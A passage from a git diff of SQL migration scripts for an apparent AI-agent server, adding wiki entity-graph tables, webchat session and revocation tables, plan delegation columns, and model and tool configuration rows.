pre-existing agent behaving exactly as before. +-- +-- The default KB an agent's wiki tools fall back to when no kbId/kbName is +-- given still lives on mate_agent.primary_kb_id; this table only narrows the +-- visible set, and the primary is expected to be one of the scoped KBs. + +CREATE TABLE IF NOT EXISTS mate_agent_wiki_kb ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + enabled TINYINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_agent_wiki_kb + ON mate_agent_wiki_kb (agent_id, kb_id, deleted); +CREATE INDEX IF NOT EXISTS idx_agent_wiki_kb_agent + ON mate_agent_wiki_kb (agent_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V142__wiki_transformation_target_page_type.sql b/mateclaw-server/src/main/resources/db/migration/h2/V142__wiki_transformation_target_page_type.sql new file mode 100644 index 00000000..f4d2cf8c --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V142__wiki_transformation_target_page_type.sql @@ -0,0 +1,9 @@ +-- Optional target pageType for a transformation whose output_target='page'. +-- When set, a run persisted as a wiki page is classified with this pageType +-- (normalised against the KB's pageType profile at save time). When NULL the +-- save falls back to the profile's fallbackType, so transformation output is +-- always a first-class member of the KB's classification rather than a +-- hard-coded "synthesis" type that sits outside every profile. + +ALTER TABLE mate_wiki_transformation + ADD COLUMN IF NOT EXISTS target_page_type VARCHAR(64) DEFAULT NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V143__register_code_execute_tool.sql b/mateclaw-server/src/main/resources/db/migration/h2/V143__register_code_execute_tool.sql new file mode 100644 index 00000000..3b42fd65 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V143__register_code_execute_tool.sql @@ -0,0 +1,5 @@ +-- V143: Register CodeExecuteTool as a built-in tool. +-- Idempotent: MERGE INTO updates the existing row when the id matches. +MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +KEY (id) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V144__ckjia_mcp_fix_production_endpoint.sql b/mateclaw-server/src/main/resources/db/migration/h2/V144__ckjia_mcp_fix_production_endpoint.sql new file mode 100644 index 00000000..259a0881 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V144__ckjia_mcp_fix_production_endpoint.sql @@ -0,0 +1,28 @@ +-- Fix the ckjia-shopping MCP seed to its real production endpoint. +-- +-- V85 seeded a dev/test placeholder (sse + http://localhost:8085/sse + +-- "Bearer ${CKJIA_MCP_KEY}"), which can never connect out of the box, so the +-- 参考价 / price-comparison skill stayed unusable until an admin hand-edited it. +-- The official CKJIA SaaS endpoint is Streamable HTTP at +-- https://m.ckjia.com/api/ai/mcp and needs no Authorization header. +-- +-- Also raises both timeouts to 60s: the price-aggregation round-trip +-- (multi-platform search) legitimately runs longer than the old 30s ceiling. +-- +-- SAFETY: only rewrites rows that still carry the untouched dev placeholder +-- URL, so an admin who already pointed ckjia-shopping at a private CKJIA +-- deployment (or the SaaS URL) is left completely alone. Idempotent — after it +-- runs the URL no longer matches the WHERE clause. `enabled` is deliberately +-- not changed: the server stays opt-in. +UPDATE mate_mcp_server +SET transport = 'streamable_http', + url = 'https://m.ckjia.com/api/ai/mcp', + headers_json = NULL, + connect_timeout_seconds = 60, + read_timeout_seconds = 60, + last_status = 'disconnected', + last_error = NULL, + description = 'CKJIA price comparison MCP server (Streamable HTTP). Disabled by default — enable it in Settings > MCP Connections to use the 参考价 shopping skill.', + update_time = CURRENT_TIMESTAMP +WHERE name = 'ckjia-shopping' + AND url = 'http://localhost:8085/sse'; diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V145__claude_fable_5_models.sql b/mateclaw-server/src/main/resources/db/migration/h2/V145__claude_fable_5_models.sql new file mode 100644 index 00000000..7058a230 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V145__claude_fable_5_models.sql @@ -0,0 +1,25 @@ +-- Add Claude Fable 5 model entries to mate_model_config. Unlike earlier Claude +-- families, the Fable rows live ONLY here, not in the data-{en,zh}.sql seed: +-- Flyway runs every version (V1..) on a fresh database, so the migration seeds +-- new installs and upgrades existing deployments alike. The trade-off is that +-- the description below is English-only (seed files carry localized copy). +-- +-- Fable 5 is a reasoning-first model with a 1M-token context window and native +-- vision input. It follows the same strict API contract as Claude 4.7+: +-- temperature / top_p / top_k must be NULL (otherwise HTTP 400), and the +-- "xhigh" adaptive thinking tier is available. Both are handled in +-- AnthropicChatModelBuilder via the isClaudeFable() / isClaude47OrLater() +-- detectors. Vision capability is resolved in ModelCapabilityService. +-- +-- MERGE INTO is the H2 idempotent upsert; running this twice is a no-op. +-- Same V number is used in mysql/ for cross-dialect parity. + +MERGE INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +KEY (id) +VALUES +-- Direct Anthropic +(1000000300, 'Claude Fable 5', 'anthropic', 'claude-fable-5', 'Anthropic Claude Fable 5 (1M context, vision, xhigh adaptive thinking)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- OpenRouter passthrough +(1000000301, 'Claude Fable 5', 'openrouter', 'anthropic/claude-fable-5', 'Claude Fable 5 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude Code OAuth (Pro/Max subscription) +(1000000302, 'Claude Fable 5', 'anthropic-claude-code', 'claude-fable-5', 'Claude Fable 5 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V146__wiki_kb_watcher_enabled.sql b/mateclaw-server/src/main/resources/db/migration/h2/V146__wiki_kb_watcher_enabled.sql new file mode 100644 index 00000000..bd9a1e36 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V146__wiki_kb_watcher_enabled.sql @@ -0,0 +1,9 @@ +-- Per-KB source-watcher toggle. Auto-sync (the periodic directory scan) was +-- previously gated only by the server-global `mate.wiki.watcher-enabled`. +-- This column makes the auto-sync opt-in per knowledge base: a KB is scanned +-- automatically only when the global master switch is on AND this flag is set +-- (AND semantics). Manual "scan now" is unaffected by this flag. Defaults to 0 +-- so existing KBs are not auto-scanned until explicitly enabled. + +ALTER TABLE mate_wiki_knowledge_base + ADD COLUMN IF NOT EXISTS watcher_enabled TINYINT(1) NOT NULL DEFAULT 0; diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V147__wiki_page_aliases.sql b/mateclaw-server/src/main/resources/db/migration/h2/V147__wiki_page_aliases.sql new file mode 100644 index 00000000..a949ac57 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V147__wiki_page_aliases.sql @@ -0,0 +1,12 @@ +-- V147: Page aliases — alternate concept names a page also covers. +-- +-- aliases JSON array of alternate names (concepts) that this page covers but +-- that did not become standalone pages — e.g. a "细胞器术语辨析" +-- discrimination page covers 叶绿体 / 线粒体 / 高尔基体. The +-- post-ingestion link reconciler consults this so a [[叶绿体]] +-- reference written by another page is rewritten to point at the +-- covering page ([[细胞器术语辨析|叶绿体]]) instead of dangling as a +-- broken link. NULL or empty array means the page declares no extra +-- names. Distinct from the title (the page's primary identity) and +-- outgoing_links (targets this page links out to). +ALTER TABLE mate_wiki_page ADD COLUMN IF NOT EXISTS aliases TEXT DEFAULT NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V148__wiki_entity.sql b/mateclaw-server/src/main/resources/db/migration/h2/V148__wiki_entity.sql new file mode 100644 index 00000000..fddba8cc --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V148__wiki_entity.sql @@ -0,0 +1,56 @@ +-- mate_wiki_entity: canonical named-entity nodes extracted from source chunks. +-- +-- Distinct from mate_wiki_page (document/topic granularity) — a row here is a +-- mention-granularity named entity (person, organization, location, event, ...) +-- resolved and de-duplicated across the knowledge base. The entity layer sits +-- beneath the page layer: entities are linked to their source chunks (and, via +-- citing pages, to wiki pages) through mate_wiki_entity_mention, and to each +-- other through mate_wiki_entity_relation. +-- +-- canonical_name display name chosen for the merged entity +-- normalized_key case/whitespace-folded key used for exact-match dedup +-- type entity taxonomy: person | organization | location | +-- event | product | concept | other +-- aliases_json JSON array of surface forms merged into this entity +-- description one-line summary synthesized from the mentions +-- salience 0..1 importance score (mention frequency / distribution) +-- mention_count number of mentions resolved to this entity +-- embedding float32 little-endian name/description vector used for +-- near-duplicate merge across spellings/languages +-- computed_hash fingerprint of the inputs that produced this row + +CREATE TABLE IF NOT EXISTS mate_wiki_entity ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + + canonical_name VARCHAR(256) NOT NULL, + normalized_key VARCHAR(256) NOT NULL, + type VARCHAR(32) NOT NULL, + + aliases_json CLOB, + description CLOB, + salience DECIMAL(5, 4), + mention_count INT NOT NULL DEFAULT 0, + + embedding BLOB, + embedding_model VARCHAR(64), + + computed_hash VARCHAR(64), + + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); + +-- Exact-match dedup identity within a KB (deleted included so soft-deleted +-- rows can coexist with re-inserted ones during re-extract cycles). +CREATE UNIQUE INDEX IF NOT EXISTS uk_we_key + ON mate_wiki_entity (kb_id, normalized_key, type, deleted); + +-- KB-wide listing and "top entities by salience". +CREATE INDEX IF NOT EXISTS idx_we_kb + ON mate_wiki_entity (kb_id, deleted); +CREATE INDEX IF NOT EXISTS idx_we_salience + ON mate_wiki_entity (kb_id, salience DESC); +CREATE INDEX IF NOT EXISTS idx_we_type + ON mate_wiki_entity (kb_id, type, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V149__wiki_entity_mention.sql b/mateclaw-server/src/main/resources/db/migration/h2/V149__wiki_entity_mention.sql new file mode 100644 index 00000000..a8ac79a2 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V149__wiki_entity_mention.sql @@ -0,0 +1,38 @@ +-- mate_wiki_entity_mention: links a canonical entity to a source occurrence. +-- +-- One row per (entity, chunk) occurrence. page_id is back-filled from the +-- chunk's citing pages so the entity layer connects to the page layer: +-- entity -> mention -> chunk -> citing page. A NULL page_id means the source +-- chunk is not yet cited by any generated page. +-- +-- entity_id the resolved canonical entity (mate_wiki_entity.id) +-- chunk_id source chunk the mention was found in +-- page_id a wiki page that cites that chunk, when known +-- surface_form the exact text as it appeared in the source +-- char_offset character offset of the mention within the chunk, when known +-- confidence 0..1 extraction confidence +-- evidence short surrounding quote (<= 500 chars enforced in Java) +-- source provenance tag: llm-extracted | manual + +CREATE TABLE IF NOT EXISTS mate_wiki_entity_mention ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + entity_id BIGINT NOT NULL, + chunk_id BIGINT, + page_id BIGINT, + + surface_form VARCHAR(256), + char_offset INT, + confidence DECIMAL(4, 3), + evidence CLOB, + source VARCHAR(32), + + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); + +CREATE INDEX IF NOT EXISTS idx_wem_entity ON mate_wiki_entity_mention (entity_id, deleted); +CREATE INDEX IF NOT EXISTS idx_wem_chunk ON mate_wiki_entity_mention (chunk_id); +CREATE INDEX IF NOT EXISTS idx_wem_page ON mate_wiki_entity_mention (page_id); +CREATE INDEX IF NOT EXISTS idx_wem_kb ON mate_wiki_entity_mention (kb_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V150__wiki_entity_relation.sql b/mateclaw-server/src/main/resources/db/migration/h2/V150__wiki_entity_relation.sql new file mode 100644 index 00000000..1502d4fc --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V150__wiki_entity_relation.sql @@ -0,0 +1,42 @@ +-- mate_wiki_entity_relation: directed subject -> predicate -> object triples +-- between canonical entities (the entity-level knowledge graph edges). +-- +-- Distinct from mate_wiki_relation, which scores page-to-page edges. A row +-- here is one fact triple connecting two mate_wiki_entity nodes. +-- +-- subject_entity_id head entity +-- predicate free-text relation label (e.g. "works_for", "located_in") +-- object_entity_id tail entity +-- evidence short justification quote (<= 500 chars enforced in Java) +-- confidence 0..1 extraction confidence +-- source provenance tag: llm-extracted | inferred | manual +-- evidence_chunk_id source chunk the triple was extracted from, when known +-- computed_hash fingerprint of the inputs that produced this row + +CREATE TABLE IF NOT EXISTS mate_wiki_entity_relation ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + + subject_entity_id BIGINT NOT NULL, + predicate VARCHAR(64) NOT NULL, + object_entity_id BIGINT NOT NULL, + + evidence CLOB, + confidence DECIMAL(4, 3), + source VARCHAR(32), + evidence_chunk_id BIGINT, + computed_hash VARCHAR(64), + + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); + +-- Unique triple identity within a KB. +CREATE UNIQUE INDEX IF NOT EXISTS uk_wer_triple + ON mate_wiki_entity_relation (kb_id, subject_entity_id, predicate, object_entity_id, deleted); + +-- Ego-graph traversal in both directions. +CREATE INDEX IF NOT EXISTS idx_wer_subject ON mate_wiki_entity_relation (kb_id, subject_entity_id); +CREATE INDEX IF NOT EXISTS idx_wer_object ON mate_wiki_entity_relation (kb_id, object_entity_id); +CREATE INDEX IF NOT EXISTS idx_wer_kb ON mate_wiki_entity_relation (kb_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V151__webchat_session_id.sql b/mateclaw-server/src/main/resources/db/migration/h2/V151__webchat_session_id.sql new file mode 100644 index 00000000..8d2ff752 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V151__webchat_session_id.sql @@ -0,0 +1,6 @@ +-- WebChat per-thread sessionId, persisted so it can be recovered even when the +-- conversationId hashes (visitorId + sessionId > 64 chars folds into a hash, +-- which is otherwise unrecoverable — making the thread invisible/unaddressable +-- in the visitor's /sessions listing). NULL for non-webchat rows and for a +-- visitor's default (no-session) thread. +ALTER TABLE mate_conversation ADD COLUMN IF NOT EXISTS webchat_session_id VARCHAR(64); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V152__webchat_archive_and_revocation.sql b/mateclaw-server/src/main/resources/db/migration/h2/V152__webchat_archive_and_revocation.sql new file mode 100644 index 00000000..4e0a91c7 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V152__webchat_archive_and_revocation.sql @@ -0,0 +1,33 @@ +-- V148: webchat visitor-session archive flag + visitor-token revocation registry. +-- +-- 1) mate_conversation.archived — INT, 0 (default) = active, 1 = archived. +-- Lets a visitor "soft-close" a thread: it stays in the DB (history +-- preserved, downloadable, addressable by sessionId) but is excluded +-- from the default /sessions listing. Pinned/archived are orthogonal: +-- archive dominates (an archived+pinned thread is still hidden by default). +-- +-- 2) webchat_revoked_visitor — registry of visitors whose visitorToken HMAC +-- is no longer accepted on management endpoints (list/messages/title/ +-- delete/stop/upload/regenerate). /stream is intentionally NOT bound by +-- this: a revoked visitor can still start a fresh /stream, which mints +-- a new token; the revocation applies to the old token presented on +-- management endpoints. The (channel_id, visitor_id) pair is unique among +-- non-deleted rows so a re-revoke is idempotent; setting deleted=1 +-- un-revokes. + +ALTER TABLE mate_conversation ADD COLUMN IF NOT EXISTS archived INT NOT NULL DEFAULT 0; + +CREATE TABLE IF NOT EXISTS webchat_revoked_visitor ( + id BIGINT NOT NULL PRIMARY KEY, + channel_id BIGINT NOT NULL, + visitor_id VARCHAR(128) NOT NULL, + revoked_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + reason VARCHAR(255), + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_webchat_revoked_visitor + ON webchat_revoked_visitor (channel_id, visitor_id, deleted); +CREATE INDEX IF NOT EXISTS idx_webchat_revoked_visitor_lookup + ON webchat_revoked_visitor (channel_id, visitor_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V153__zhipu_glm_5_2.sql b/mateclaw-server/src/main/resources/db/migration/h2/V153__zhipu_glm_5_2.sql new file mode 100644 index 00000000..da5ded1b --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V153__zhipu_glm_5_2.sql @@ -0,0 +1,21 @@ +-- V153: add the GLM-5.2 flagship to the native Zhipu (BigModel / Z.AI) +-- providers. GLM-5.2 is served by the same OpenAI-compatible chat completions +-- schema as the rest of the GLM-5 line, on both the standard /api/paas/v4 +-- endpoints and the /api/coding/paas/v4 subscription endpoints — so it is +-- added to all four existing Zhipu providers: +-- * zhipu-cn (https://open.bigmodel.cn/api/paas/v4) +-- * zhipu-intl (https://api.z.ai/api/paas/v4) +-- * zhipu-cn-codingplan (https://open.bigmodel.cn/api/coding/paas/v4) +-- * zhipu-intl-codingplan (https://api.z.ai/api/coding/paas/v4) +-- +-- Coding-plan rows keep temperature 0.2 to favour deterministic code output, +-- matching the V90 catalog. Aggregator platforms (Volcano Ark, DashScope / +-- Bailian, ModelScope) do not host GLM-5.2 yet and are intentionally left +-- untouched — their hosted GLM line still tops out at glm-5 / glm-4.7. +MERGE INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +KEY (id) +VALUES + (1000000214, 'GLM-5.2', 'zhipu-cn', 'glm-5.2', '最新旗舰模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000224, 'GLM-5.2', 'zhipu-intl', 'glm-5.2', 'Latest flagship model (International)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000238, 'GLM-5.2 Coding', 'zhipu-cn-codingplan', 'glm-5.2', '智谱编码套餐 — GLM-5.2 最新旗舰', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000239, 'GLM-5.2 Coding', 'zhipu-intl-codingplan','glm-5.2', 'Zhipu Coding Plan — GLM-5.2 latest flagship (International)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V154__agent_wiki_disabled.sql b/mateclaw-server/src/main/resources/db/migration/h2/V154__agent_wiki_disabled.sql new file mode 100644 index 00000000..2aac7f8f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V154__agent_wiki_disabled.sql @@ -0,0 +1,10 @@ +-- V154: Wiki/knowledge-base opt-out flag on mate_agent. +-- +-- Mirrors skills_disabled (V126) / tools_disabled. Without this column an +-- operator who wants an agent with NO knowledge base has no way to express +-- that intent: leaving the KB picker empty means "inherit workspace-wide" +-- (every KB visible), so the agent ends up ingesting every KB's context. +-- issue #304. +-- +-- Defaults to FALSE so legacy agents stay bit-identical. +ALTER TABLE mate_agent ADD COLUMN IF NOT EXISTS wiki_disabled BOOLEAN NOT NULL DEFAULT FALSE; diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V155__plan_conversation_id.sql b/mateclaw-server/src/main/resources/db/migration/h2/V155__plan_conversation_id.sql new file mode 100644 index 00000000..f8a63666 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V155__plan_conversation_id.sql @@ -0,0 +1,11 @@ +-- V155: Link a plan to the conversation/run that produced it. +-- +-- mate_plan previously carried only agent_id, so a plan could not be tied to a +-- specific conversation or delegation run — every listByAgent query mixed all of +-- an agent's plans across all conversations, and a multi-agent collaboration +-- could not be reconstructed. conversation_id makes plans groupable by run and +-- is the foundation for the cross-agent / assignee-swimlane plan board. +-- +-- Nullable: legacy rows (and any plan created before this column existed) keep +-- a NULL conversation_id and simply don't participate in run-level grouping. +ALTER TABLE mate_plan ADD COLUMN IF NOT EXISTS conversation_id VARCHAR(64); diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V156__sub_plan_assigned_agent.sql b/mateclaw-server/src/main/resources/db/migration/h2/V156__sub_plan_assigned_agent.sql new file mode 100644 index 00000000..9e4e31de --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V156__sub_plan_assigned_agent.sql @@ -0,0 +1,10 @@ +-- V156: Per-step agent delegation for plan-execute. +-- +-- A plan step can now be delegated to a dedicated specialist agent (e.g. a test +-- step handed to a "QA agent", a UI step to a "frontend agent"). assigned_agent_id +-- records which agent should run the step; the executor routes that step to the +-- delegated agent instead of the parent agent. +-- +-- Nullable: a NULL assigned_agent_id means "run with the parent (plan) agent", +-- which is the original behavior — legacy rows and unassigned steps are unaffected. +ALTER TABLE mate_sub_plan ADD COLUMN IF NOT EXISTS assigned_agent_id BIGINT; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V100__multimodal_default_models.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V100__multimodal_default_models.sql new file mode 100644 index 00000000..2718fe42 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V100__multimodal_default_models.sql @@ -0,0 +1,16 @@ +-- V100: System-level defaults for vision and video sidecar routing. +-- When the agent's primary model lacks the modality required by an attachment, +-- the runtime delegates a single caption call to the model recorded here. +-- Empty value = not configured; the UI then asks the user to pick one. +-- Setting value stores mate_model_config.id as a string (provider+model_name pairs are not unique). +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000002001, 'default.vision_model', '', + 'Default vision-capable model id (mate_model_config.id) used by sidecar router when primary model lacks VISION modality', + NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key = EXCLUDED.setting_key; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000002002, 'default.video_model', '', + 'Default video-capable model id (mate_model_config.id) used by sidecar router when primary model lacks VIDEO modality', + NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key = EXCLUDED.setting_key; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V101__cleanup_blank_tool_guard_rule_id.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V101__cleanup_blank_tool_guard_rule_id.sql new file mode 100644 index 00000000..49960ed6 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V101__cleanup_blank_tool_guard_rule_id.sql @@ -0,0 +1,14 @@ +-- See the matching H2 file for context. This migration purges any +-- orphan rows that earlier releases persisted with a blank rule_id and +-- then installs a CHECK constraint so the schema itself rejects blank +-- rule_id, defending against any future code path that bypasses the +-- service-layer guard. CHECK constraints are enforced from MySQL 8.0.16 +-- onward; this project targets MySQL 8.0+ so the constraint is live. + +DELETE FROM mate_tool_guard_rule +WHERE (rule_id IS NULL OR LENGTH(TRIM(rule_id)) = 0) + AND (builtin IS NULL OR builtin = FALSE); + +ALTER TABLE mate_tool_guard_rule + ADD CONSTRAINT ck_tool_guard_rule_id_nonblank + CHECK (rule_id IS NOT NULL AND LENGTH(TRIM(rule_id)) > 0); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V102__agent_unique_name_per_workspace.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V102__agent_unique_name_per_workspace.sql new file mode 100644 index 00000000..39860707 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V102__agent_unique_name_per_workspace.sql @@ -0,0 +1,20 @@ +-- Enforce unique Agent name within a workspace. See H2 variant for context. +-- +-- Step 1 — rename pre-existing duplicates. PostgreSQL uses UPDATE ... FROM +-- instead of MySQL's UPDATE ... JOIN syntax, and || instead of CONCAT. +-- md5(random()::text) gives a unique suffix and is portable across both +-- PostgreSQL and KingbaseES (avoids the Kingbase-only SYS_GUID()). +UPDATE mate_agent t +SET name = '__mate_dup_v102__' || t.id || '__' || md5(random()::text) +FROM ( + SELECT workspace_id, name, MIN(id) AS keep_id + FROM mate_agent + GROUP BY workspace_id, name + HAVING COUNT(*) > 1 +) k +WHERE t.workspace_id = k.workspace_id + AND t.name = k.name + AND t.id <> k.keep_id; + +-- Step 2 — add the unique index, idempotent via IF NOT EXISTS (PostgreSQL-native). +CREATE UNIQUE INDEX IF NOT EXISTS uk_agent_workspace_name ON mate_agent (workspace_id, name); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V103__drop_fact_entity_ref.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V103__drop_fact_entity_ref.sql new file mode 100644 index 00000000..9f0ce948 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V103__drop_fact_entity_ref.sql @@ -0,0 +1,2 @@ +-- Drop the dead mate_fact_entity_ref table. See H2 variant for context. +DROP TABLE IF EXISTS mate_fact_entity_ref; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V104__wiki_chunk_embedding_text_version.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V104__wiki_chunk_embedding_text_version.sql new file mode 100644 index 00000000..de54cbc3 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V104__wiki_chunk_embedding_text_version.sql @@ -0,0 +1,15 @@ +-- V104: track which input format a chunk's stored embedding was generated against. +-- The embedding input builder concatenates raw title / header breadcrumb / page +-- number alongside chunk content; bumping the builder's CURRENT_INPUT_VERSION +-- forces a re-embed pass without changing the model. NULL is treated as the +-- legacy content-only format and re-embedded lazily on the next pass. +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_chunk' AND column_name = 'embedding_text_version' + ) THEN + ALTER TABLE mate_wiki_chunk ADD COLUMN embedding_text_version VARCHAR(32) NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V105__wiki_transformation.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V105__wiki_transformation.sql new file mode 100644 index 00000000..e8e0a9ad --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V105__wiki_transformation.sql @@ -0,0 +1,66 @@ +-- Reusable user-defined prompt templates ("transformations") that run over +-- a raw material's extracted text and persist the LLM output as an artifact +-- on the knowledge base. Templates can be flagged apply_default so the +-- ingestion pipeline runs them automatically once a raw material reaches +-- the completed state. Manual / agent-tool runs are also supported. + +CREATE TABLE IF NOT EXISTS mate_wiki_transformation ( + id BIGINT PRIMARY KEY, + + kb_id BIGINT NULL, + workspace_id BIGINT NOT NULL DEFAULT 1, + + name VARCHAR(64) NOT NULL, + title VARCHAR(255) NOT NULL, + description VARCHAR(1024), + + prompt_template TEXT NOT NULL, + + apply_default BOOLEAN NOT NULL DEFAULT FALSE, + model_id BIGINT NULL, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_wtr_kb ON mate_wiki_transformation (kb_id, deleted); +CREATE INDEX IF NOT EXISTS idx_wtr_ws ON mate_wiki_transformation (workspace_id, deleted); + +-- Unique name per KB (NULL kb_id rows compete in a shared "global" bucket). +-- MySQL treats NULL as distinct in unique indexes, so workspace-wide names +-- can technically collide; the service layer enforces uniqueness for the +-- NULL-kb_id case in software. +CREATE UNIQUE INDEX uk_wtr_kb_name ON mate_wiki_transformation (kb_id, name, deleted); + + +CREATE TABLE IF NOT EXISTS mate_wiki_transformation_run ( + id BIGINT PRIMARY KEY, + + transformation_id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + workspace_id BIGINT NOT NULL DEFAULT 1, + + input_kind VARCHAR(16) NOT NULL, + raw_id BIGINT NULL, + page_id BIGINT NULL, + + status VARCHAR(16) NOT NULL DEFAULT 'pending', + + output TEXT, + error VARCHAR(2048), + model_id BIGINT NULL, + + triggered_by VARCHAR(32) NOT NULL DEFAULT 'manual', + + started_at TIMESTAMP(3) NULL, + completed_at TIMESTAMP(3) NULL, + duration_ms BIGINT NULL, + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_wtrn_tr ON mate_wiki_transformation_run (transformation_id, deleted); +CREATE INDEX IF NOT EXISTS idx_wtrn_kb ON mate_wiki_transformation_run (kb_id, deleted); +CREATE INDEX IF NOT EXISTS idx_wtrn_raw ON mate_wiki_transformation_run (raw_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V106__wiki_transformation_output_target.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V106__wiki_transformation_output_target.sql new file 